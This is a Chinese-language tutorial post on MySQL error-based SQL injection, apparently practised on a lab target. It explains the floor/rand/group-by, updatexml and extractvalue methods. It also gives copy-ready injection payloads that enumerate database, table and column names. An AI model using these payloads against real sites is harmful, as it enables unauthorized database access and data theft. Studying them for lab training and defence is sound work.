报错注入
报错注入是SQL注入的一种。 利用前提:页面上没有显示位,但是需要输出SQL语句执行错误信息。比如mysql_error() 优点:不需要显示位 缺点:需要输出mysql_error()的报错信息
报错函数
1、floor报错注入
floor()报错注入是利用count()、rand()、floor()、group by 这几个特定的函数结合在一起产生的注入漏洞,准确的说是floor,count,group by冲突报错。 报错原理:利用数据库表主键不能重复的原理,使用GROUP BY分组,产生主键冗余,导致报错。
Rand()函数作用如下: 返回[0,1)之间的随机数,用法就是SELECT rand();
Floor()函数作用如下: 向下取整,用法即SELECT floor(11.332423),结果为11;
简单组合下,可以有SELECT floor(rand()*2); 会发现,产生的是0或1。
加大难度,可以有 SELECT CONCAT((SELECT database()),FLOOR(RAND()*2)), 结果就是security0或security1,这里假设数据库名为security
如果再加上from 表名,则一般会返回security0或security1的一个集合,数目由表本身所含记录数决定。 例如SELECT CONCAT((SELECT database()),FLOOR(RAND()*2)) FROM users;表中存在13各用户,则返回13条。
再加上group by语句,使用information_schema数据库查询表、列信息等,例如: SELECT CONCAT((SELECT database()),FLOOR(RAND()*2)) as a FROM information_schema.tables group by a; 这样把CONCAT((SELECT database()),FLOOR(RAND()*2))取了个别名a,然后使用它进行分组,这样相同的security0分到一组,security1分到一组,就只剩下两个结果了。
这里的 database()可以替换成任何想查的函数,比如 version(),user(),datadir() 或者其它的查询。 相关文章–>https://blog.csdn.net/zpy1998zpy/article/details/80650540
靶场实战 我们使用靶场进行测试: 暴库名payload:
代码语言:javascript复制-1' union select count(*),1,concat((select database()
),floor(rand(0)*2))as a from information_schema.tables group by a --
爆表数目
代码语言:javascript复制-1' union select 0x7e,count(*),concat((select count(table_name) from information_schema.tables where table_schema='security'),
floor(rand(0)*2))as a from information_schema.tables group by a --
爆表名payload
代码语言:javascript复制-1' union select count(*),1,concat((select table_name from information_schema.tables where table_schema = 'security' limit 0,1
),floor(rand(0)*2))as a from information_schema.tables group by a --
爆列名:
代码语言:javascript复制-1' union select 1,count(*),concat((select column_name from information_schema.columns where table_name = 'emails' limit 0,1),floor(rand(0)*2))
as a from information_schema.columns group by a --
2、updatexml报错注入
原理:updatexml()函数实际上是去更新了XML文档,但是我们在xml文档路径的位置里面写入了子查询,我们输入特殊字符,然后就因为不符合输入规则然后报错了,但是报错的时候它其实已经执行了那个子查询代码。
updatexml(xml_document,xpath_string,new_value)
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc1 第二个参数: XPath_string (Xpath格式的字符串),如果不了解Xpath语法,可以在网上查找教程。 第三个参数: new_value,String格式,替换查找到的符合条件的数据。
作用: 改变文档中符合条件的节点的值。 获取数据库:
代码语言:javascript复制id=1' and updatexml(0x7e,concat(0x7e,database()),0x7e) --
获取表的数量:
代码语言:javascript复制id=1' and updatexml(1,concat(0x7e,(select count(table_name) from information_schema.tables where table_schema='security'),0x7e),1) --
获取表的名字:
代码语言:javascript复制id=1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),1) -- id=1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 1,1),0x7e),1) --
id=1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 2,1),0x7e),1) -- id=1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 3,1),0x7e),1) --
获取字段名
代码语言:javascript复制id=1' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name = 'users' limit 0,1),0x7e),1) --
3、extractvalue报错注入
extractvalue(xml_document,xpath_string) 第一个参数:XML_document是 String 格式,为XMIL文档对象的名称。 第二个参数:XPath_string (Xpath格式的字符串)。 作用: 从目标XML中返回包含所查询值的字符串。 ps: 返回结果限制在32位字符。
爆库名:
代码语言:javascript复制id=1' and extractvalue(1,concat(0x7e,database())) --
爆表数:
代码语言:javascript复制id=1' and extractvalue(1,concat(0x7e,(select count(table_name) from information_schema.tables where table_schema=database()))) --
爆表名:
代码语言:javascript复制id=1' and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1))) --
爆字段名:
代码语言:javascript复制id=1' and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_name='emails' limit 0,1))) --
宽字节注入移步–>传送门 更多漏洞原理移步–>传送门
版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 举报,一经查实,本站将立刻删除。
发布者:全栈程序员栈长,转载请注明出处:https://javaforall.cn/187473.html原文链接:https://javaforall.cn